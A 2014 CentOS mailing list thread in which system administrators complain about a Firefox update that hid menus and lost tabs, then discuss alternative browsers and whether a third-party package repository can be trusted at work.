On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus mark Then maybe you are stuck in full-screen mode? Press f11 to exit that. grts, Johan You can press the Alt key to show the menu. Indeed, with some new releases of some software we use you just have to learn everything from scratch. I understand the frustration of people who got used to least time consuming way to use it, then all of a sudden, it's all different. I don't remember where I heard this, yet I would prefer the developers to follow this: Don't change anything unless it is absolutely necessary. (it was excellent attitude to programming I was doing once: this way you diminish the chance to break something that works...) Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus Then maybe you are stuck in full-screen mode? Press f11 to exit that. No. 99.44% of the time, I'm *NEVER* in fullscreen mode. All these damn developers seem to be thinking of their idiot, er, smart phones, and *not* about the majority of us using real computers with real monitors. You can press the Alt key to show the menu. It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, Sep 25, 2014 at 09:09:15AM -0500, Valeri Galtsev wrote: developers to follow this: Don't change anything unless it is absolutely necessary. (it was excellent attitude to programming I was doing once: this way you diminish the chance to break something that works...) Probably POLA, Principle Of Least Astonishment. FreeBSD mentions it from time to time. -- Scott Robbins PGP keyID EB3467D6 ( 1B48 077D 66F6 9DB0 FDC2 A409 FA54 EB34 67D6 ) gpg --keyserver pgp.mit.edu --recv-keys EB3467D6 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus Then maybe you are stuck in full-screen mode? Press f11 to exit that. No. 99.44% of the time, I'm *NEVER* in fullscreen mode. All these damn developers seem to be thinking of their idiot, er, smart phones, and *not* about the majority of us using real computers with real monitors. You can press the Alt key to show the menu. It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip Switch to Palemoon or Qupzilla, firefox has improved itself to the point where it's just not a choice anymore, let alone a good one. I've been using Palemoon and it's been a damn good choice for me... ymmv Find something else that works for you, there are other choices. It's gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice. -- Steve ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, September 25, 2014 9:13 am, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus Then maybe you are stuck in full-screen mode? Press f11 to exit that. No. 99.44% of the time, I'm *NEVER* in fullscreen mode. All these damn developers seem to be thinking of their idiot, er, smart phones, and *not* about the majority of us using real computers with real monitors. You can press the Alt key to show the menu. It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip I've started looking for firefox replacement some 4 if not 5 years ago. Since one of the students working here whom I knew after running his own company with a couple of his friends for about a year went to mozilla foundation as a ...(production manager if my memory doesn't fail me, my apologies if I'm wrong). Shortly after that the whole attitude there, at least as far as Firefox is concerned, changed. )Quite in line with what I know about the guy, hence my circumstantial conclusion. I'm not say he changed it, it may be true, but maybe his hiring was just a consequence of change that already happened.) Firefox releases started getting rushed out, like every 2 or 3 Months new release; they were awfully overburdened with new fancy (often not that necessary) stuff, changing dramatically how you interact with your browser. Worst of all, not to well debugged before releasing. Those who still remember netscape and mozilla browsers, try to remember how often you had to apply critical updates, or upgrade the browser to new version. I know, I know, still... Yes, I still didn't find replacement for firefox... so, anyone who has a any suggestions of decent open source browser, please, let me know. Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Steve Lindemann wrote: On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus snip It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip Switch to Palemoon or Qupzilla, firefox has improved itself to the point where it's just not a choice anymore, let alone a good one. I've been using Palemoon and it's been a damn good choice for me... ymmv palemoon looks nice - *is* there a package for it somewhere, or do you have to d/l and install from their homepage? Find something else that works for you, there are other choices. It's gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice. I have to worry, here at work. I am *not* going to even think about trying to force my users to use another browser, one they've never heard of (I've never heard of either of these). This needs to be fixed mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, September 25, 2014 9:42 am, m.r...@5-cent.us wrote: Steve Lindemann wrote: On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus snip It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip Switch to Palemoon or Qupzilla, firefox has improved itself to the point where it's just not a choice anymore, let alone a good one. I've been using Palemoon and it's been a damn good choice for me... ymmv palemoon looks nice - *is* there a package for it somewhere, or do you have to d/l and install from their homepage? Find something else that works for you, there are other choices. It's gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice. I have to worry, here at work. I am *not* going to even think about trying to force my users to use another browser, one they've never heard of (I've never heard of either of these). This needs to be fixed I'm in the same fix... But. When I will find open source, acceptable browser which I can predict will last and will have the same great attitude late netscape or mozilla had, I will start installing it simultaneously with firefox, yet will make it default browser, which users can switch to firefox from if the want to, and will definitely mention why I suggest that browser. Some users will get alone with new browser, and after some critical mass of them, maybe a year down the road it will be done deal. The only shortcoming in my plan is an existence of damn google chrome. (Others already cursed at it, so I'll save my breath). Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
I'm in the same fix... But. When I will find open source, acceptable browser which I can predict will last and will have the same great attitude late netscape or mozilla had, I will start installing it simultaneously with firefox, yet will make it default browser, which users can switch to firefox from if the want to, and will definitely mention why I suggest that browser. Some users will get alone with new browser, and after some critical mass of them, maybe a year down the road it will be done deal. The only shortcoming in my plan is an existence of damn google chrome. (Others already cursed at it, so I'll save my breath). Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 9/25/2014 8:42 AM, m.r...@5-cent.us wrote: Steve Lindemann wrote: On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus snip It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip Switch to Palemoon or Qupzilla, firefox has improved itself to the point where it's just not a choice anymore, let alone a good one. I've been using Palemoon and it's been a damn good choice for me... ymmv palemoon looks nice - *is* there a package for it somewhere, or do you have to d/l and install from their homepage? Find something else that works for you, there are other choices. It's gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice. I have to worry, here at work. I am *not* going to even think about trying to force my users to use another browser, one they've never heard of (I've never heard of either of these). This needs to be fixed yup, that would be the fly in the ointment. It's certainly not in the distro's I use (base,extras,updates,rpmforge,epel). I did find qupzilla in linux mint, but not palemoon and neither in the centos distro's that I use. Can't speak to other systems. For a mass install you pretty much have to roll your own. I've only used it on individual systems that I work with directly and downloaded from the website. I can only speak to my personal use. Hopefully it will start showing up in the distro's, we definitely need something other than firefox these days. -- Steve ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
m.r...@5-cent.us wrote: palemoon looks nice My concern with Pale Moon is that it's based on the Firefox 24 extended support release, which is no longer supported. Don't know how that'll play out. In the meantime I've added exclude=firefox to my yum configuration and am sticking with Firefox 24. On Fedora I've switched to Midori. I don't want 'tabs on top' and over the past several releases the Firefox developers have been making it more and more difficult to configure that. It used to be the default but now it requires a third-party extension and jumping through several hoops. Ron ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, September 25, 2014 10:10 am, Ron Yorston wrote: m.r...@5-cent.us wrote: palemoon looks nice My concern with Pale Moon is that it's based on the Firefox 24 extended support release, Sad. If there is no own developers team behind that, it hardly will survive enterprise level length of time... which is no longer supported. Don't know how that'll play out. In the meantime I've added exclude=firefox to my yum configuration and am sticking with Firefox 24. On Fedora I've switched to Midori. I've tested and am using midori on my FreeBSD workstation (and some servers whenever I need to use browser on the server...). I can not push midori on my users though, as midori is a bit too rudimentary in my opinion compared to what my users usually need from web browser... Just my $0.02 Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Tom Bishop wrote: I'm in the same fix... But. When I will find open source, acceptable browser which I can predict will last and will have the same great attitude late netscape or mozilla had, I will start installing it simultaneously with firefox, yet will make it default browser, which users can switch to firefox from if the want to, and will definitely mention why I suggest that browser. Some users will get alone with new browser, and after some critical mass of them, maybe a year down the road it will be done deal. The only shortcoming in my plan is an existence of damn google chrome. (Others already cursed at it, so I'll save my breath). I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo. Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos Oops, yeah I can see why that might be an issue, Nux is pretty active and the source is available but yeah I get it. If I had more time I would like to try to help out at least with the builds, but we still need to get it in a repo somewhere. Something to work at, will add it to my to do list. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote: Tom Bishop wrote: I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo. Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 9/25/2014 9:07 AM, Steve Lindemann wrote: On 9/25/2014 8:42 AM, m.r...@5-cent.us wrote: Steve Lindemann wrote: On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus snip It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip Switch to Palemoon or Qupzilla, firefox has improved itself to the point where it's just not a choice anymore, let alone a good one. I've been using Palemoon and it's been a damn good choice for me... ymmv palemoon looks nice - *is* there a package for it somewhere, or do you have to d/l and install from their homepage? Find something else that works for you, there are other choices. It's gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice. I have to worry, here at work. I am *not* going to even think about trying to force my users to use another browser, one they've never heard of (I've never heard of either of these). This needs to be fixed yup, that would be the fly in the ointment. It's certainly not in the distro's I use (base,extras,updates,rpmforge,epel). I did find qupzilla in linux mint, but not palemoon and neither in the centos distro's that I use. Can't speak to other systems. For a mass install you pretty much have to roll your own. I've only used it on individual systems that I work with directly and downloaded from the website. I can only speak to my personal use. Hopefully it will start showing up in the distro's, we definitely need something other than firefox these days. -- Steve I meant repo's not distro's in the first paragraph ...DUH! //Steve ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, September 25, 2014 11:16 am, Nicolas Thierry-Mieg wrote: On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote: Tom Bishop wrote: I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo. Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. That is a relief. I recommend my users against several things, free Kasperski antivirus one of them (knowing that Kasperski is KGB guy, and in that sort of service you never retire, only feet first dead; true about that service in any country...) Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 09/25/2014 04:38 PM, Valeri Galtsev wrote: Yes, I still didn't find replacement for firefox... so, anyone who has a any suggestions of decent open source browser, please, let me know. maybe try seamonkey, I've been using it for ages (basically since firefox split from mozilla suite ;-) ) and I'm satisfied. It uses the same base code as firefox thunderbird but it doesn't seem to change cosmetic things around all the time. No packages for EL6 AFAIK, for a long time I built my own but now I just grab the Linux/x86_64 build from their download page, tar xfvj, rename the subdir to have the date there, make my seamonkey-latest symlink point to that dir, make a symlink in that dir pointing to /usr/lib64/mozilla/plugins/ , and voila. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Nicolas Thierry-Mieg wrote: On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote: Tom Bishop wrote: I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo. Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. *sigh* But - could someone correct me if I'm wrong - isn't extras for things like this? mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. Jesus! Couldn't you just shut up? ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 25/09/14 17:42, m.r...@5-cent.us wrote: Nicolas Thierry-Mieg wrote: On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote: Tom Bishop wrote: I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo. Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. *sigh* But - could someone correct me if I'm wrong - isn't extras for things like this? mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos Guess it's the old if it ain't American, it ain't right attitude? :-). A suggestion for your picky boss: Custom repository. You could create a custom repository featuring these off limits products and simply create a repo-release package which gets installed with each machine. This way each machine has the repository, and can install the extra packages. I have done this before and works fine, I usually just create my own rpms or grab src rpms from fedora koji and put them in my own repo if I want something that is not available in any repositories. This should solve most of the problems with your boss :-). PS: Better not tell your boss Linux was created in Finland.. Kind Regards, Jake Shipton (JakeMS) GPG Key: 0xE3C31D8F GPG Fingerprint: 7515 CC63 19BD 06F9 400A DE8A 1D0B A5CF E3C3 1D8F ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Jake Shipton wrote: On 25/09/14 17:42, m.r...@5-cent.us wrote: Nicolas Thierry-Mieg wrote: On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote: Tom Bishop wrote: I like the look of palemoon, I am going to drop an email to Nux and see if we can get it added to his repo. Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. *sigh* But - could someone correct me if I'm wrong - isn't extras for things like this? Guess it's the old if it ain't American, it ain't right attitude? :-). Don't be absurd. How 'bout can we be sure that no one's inserted nasties into the code? How 'bout who else has looked at and compared the code to the project source? *I* would trust Nux... but a) I can't speak or set policy for my organization[1][2], and b) I wouldn't feel comfortable committing my organization to use it, and urging it on my users of my division, and then someone hacks his repo. As an admin I used to work with liked to say, he was paid to be professionally paranoid. A suggestion for your picky boss: Custom repository. We have our own repo. However, there's *2.x* of us (my manager's working with another Institute too much of the time these days), and we do NOT want to have to maintain packages (don't even *ask* me about my packaging of BioPerl). We want to yum update from trusted repos snip This way each machine has the repository, and can install the extra packages. *snicker* Each machine. Right, I'm going to put a repo on ever single server and workstation... and then maintain it. When nobody actually works on their workstation, the work is supposed to be done on servers, with home directories NFS mounted You're joking, right? snip mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, Sep 25, 2014 at 12:18 PM, m.r...@5-cent.us wrote: Guess it's the old if it ain't American, it ain't right attitude? :-). Don't be absurd. How 'bout can we be sure that no one's inserted nasties into the code? How 'bout who else has looked at and compared the code to the project source? That's ummm, funny, considering the stuff we've all been running. -- Les Mikesell lesmikes...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Sorry, missing footnotes to last email: 1] you'll notice I never mention the organization name - I really am not allowed to speak for my organization, or my company. 2] Partly because I work for a federal contractor mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 25/09/14 18:18, m.r...@5-cent.us wrote: Jake Shipton wrote: Guess it's the old if it ain't American, it ain't right attitude? :-). Don't be absurd. How 'bout can we be sure that no one's inserted nasties into the code? How 'bout who else has looked at and compared the code to the project source? *I* would trust Nux... but a) I can't speak or set policy for my organization[1][2], and b) I wouldn't feel comfortable committing my organization to use it, and urging it on my users of my division, and then someone hacks his repo. As an admin I used to work with liked to say, he was paid to be professionally paranoid. Fair enough, same reason I do not use Windows at all anywhere :-). A suggestion for your picky boss: Custom repository. We have our own repo. However, there's *2.x* of us (my manager's working with another Institute too much of the time these days), and we do NOT want to have to maintain packages (don't even *ask* me about my packaging of BioPerl). We want to yum update from trusted repos Yeah, I know the feeling of that, I am the only IT guy in our company my job usually includes: 1) Build systems 2) Configure servers 3) Maintain servers 4) Configure desktops 5) Maintain desktops 6) Develop any homemade applications when and where necessary 7) Develop and maintain website 8) Process and deliver online orders 9) Reply to customer support emails 10) Occasionally be on shop front (Mostly weekends) and directly deal with customers. 11) Anything else as and where needed. Basically.. everything as I am part of a 3-way business partnership which only has 3 people working (Self employed). I literally work from when I wake up to when I go to bed. So I know what it's like to not have many people doing stuff, and I know it can be done, so maintaining your own repository is actually quite easy when there is two of you if you set up email notifications etc of when new packages are released, and assuming you don't put far to many packages in your own repo and keep it to the odd one or two where needed you should be able to maintain it fairly easily. :-) snip This way each machine has the repository, and can install the extra packages. *snicker* Each machine. Right, I'm going to put a repo on ever single server and workstation... and then maintain it. When nobody actually works on their workstation, the work is supposed to be done on servers, with home directories NFS mounted You're joking, right? snip Nope quite serious, regarding installing the repo on the machines, create your own release package, then it's just the case of yum install rpm url. If you use PXE booting for new installs, just include it on the kickstart file and it will automatically be installed to any new systems. After that initial setup, you just install and update the packages the same as you would with any other repository package. Besides, I'm just offering a simple solution to your problem... Kind Regards, Jake Shipton (JakeMS) GPG Key: 0xE3C31D8F GPG Fingerprint: 7515 CC63 19BD 06F9 400A DE8A 1D0B A5CF E3C3 1D8F ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, 2014-09-25 at 09:09 -0500, Valeri Galtsev wrote: Don't change anything unless it is absolutely necessary. Extremely wise advice. Seems upstream do not always agree :-) -- Regards, Paul. England, EU. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, 2014-09-25 at 18:16 +0200, Nicolas Thierry-Mieg wrote: On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote: Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. USA people are not too familiar with Europe which extends from the Arctic circle (Svalbard, 81º North, Norwegian) to the Mediterranean, and from the French coast to the Ural mountains in Russia. The 28 countries of the EU have a population exceeding 800 million (the USA's is about 307m). That leaves about 22 European countries not (yet) in the EU. Paul England, EU. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, September 25, 2014 7:32 pm, Always Learning wrote: On Thu, 2014-09-25 at 18:16 +0200, Nicolas Thierry-Mieg wrote: On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote: Maybe we can get it into extras? I mentioned something from his repo to my manager, who understandably balked at a Russian server (this is a US gov't agency (non-DoD) that we work at li.nux.ro, that's Romania not Russia. USA people are not too familiar with Europe which extends from the Arctic circle (Svalbard, 81º North, Norwegian) to the Mediterranean, and from the French coast to the Ural mountains in Russia. The 28 countries of the EU have a population exceeding 800 million (the USA's is about 307m). That leaves about 22 European countries not (yet) in the EU. My take would be he just didn't focus on the domain name. Sysadmins usually decipher those into geographical location easily. I admire Europe: everybody speaks multiple languages. BTW one of our professors brought this joke when he came back from Europe. If I wasn't sure the joke has long-long beard I would think he made it up himself...: Person who speaks 2 languages: bilingual, 3 languages: trilingual; 1 language: American ;-) Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote: I just updated firefox, here at home... and when I fired it back up, *all* of my tabs were gone. Every one (all couple dozen...) mark, CentOS 6.5 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos Me too and I had lots of tabs :( ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
